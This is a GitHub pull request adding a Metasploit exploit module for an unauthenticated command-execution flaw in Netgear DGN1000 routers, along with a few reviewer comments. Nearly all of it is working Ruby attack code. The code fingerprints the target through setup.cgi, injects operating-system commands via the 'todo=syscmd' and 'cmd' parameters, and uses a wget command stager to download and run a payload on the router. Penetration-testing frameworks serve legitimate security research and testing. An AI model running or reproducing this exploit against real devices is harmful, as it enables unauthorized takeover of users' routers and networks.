-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Netgear DGN1000 Unauthenticated OS Command execution #9106
Changes from 13 commits
858bb26
7098372
2f98f2b
04a24e5
2e376a1
2f371c9
b255ddf
8b8bebd
ac21567
40e508f
8239d28
e0831c1
c7e35f8
6f37bbb
e9fdb5b
eff94be
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,98 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Netgear DGN1000 Setup.cgi Unauthenticated RCE', | ||
'Description' => %q{ | ||
This module exploits an unauthenticated OS command execution vulneralbility | ||
in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and | ||
DGN2000v1 models. | ||
}, | ||
'Author' => [ | ||
'Mumbai <https://github.com/realoriginal>', # module | ||
'Robort Palerie <roberto@greyhats.it>' # vuln discovery | ||
], | ||
'References' => | ||
[ | ||
['EDB', '24464'], | ||
['URL', 'https://www.exploit-db.com/exploits/25978/'], | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. dont need this line anymore |
||
], | ||
'DisclosureDate' => 'Jun 5 2013', | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'linux', | ||
'Arch' => ARCH_MIPSBE, | ||
'Privileged' => true, | ||
'Payload' => { | ||
'DisableNops' => true, | ||
}, | ||
'Targets' => | ||
[ | ||
[ 'Automatic', {} ] | ||
], | ||
)) | ||
|
||
end | ||
|
||
def check | ||
begin | ||
res = send_request_cgi({ | ||
'uri' => '/setup.cgi', | ||
'method' => 'GET' | ||
}) | ||
if res && res.headers['WWW-Authenticate'] | ||
auth = res.headers['WWW-Authenticate'] | ||
if auth =~ /DGN1000/ | ||
return Exploit::CheckCode::Detected | ||
end | ||
end | ||
rescue ::Rex::ConnectionError | ||
return Exploit::CheckCode::Unknown | ||
end | ||
|
||
|
||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. remove a space? |
||
Exploit::CheckCode::Unknown | ||
end | ||
|
||
def exploit | ||
print_status("#{peer} - Connecting to target...") | ||
|
||
unless check == Exploit::CheckCode::Detected | ||
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL") | ||
end | ||
|
||
print_status("#{peer} - Exploiting target ....") | ||
execute_cmdstager( | ||
:flavor => :wget, | ||
:linemax => 200, | ||
:concat_operator => " && " | ||
) | ||
end | ||
|
||
def execute_command(cmd, opts) | ||
begin | ||
res = send_request_cgi({ | ||
'uri' => '/setup.cgi', | ||
'method' => 'GET', | ||
'vars_get' => { | ||
'next_file' => 'netgear.cfg', | ||
'todo' => 'syscmd', | ||
'cmd' => cmd.to_s, | ||
'curpath' => '/', | ||
'currentsetting.htm' => '1' | ||
} | ||
}) | ||
return res | ||
rescue ::Rex::ConnectionError | ||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") | ||
end | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This doesn't look to be the same finding.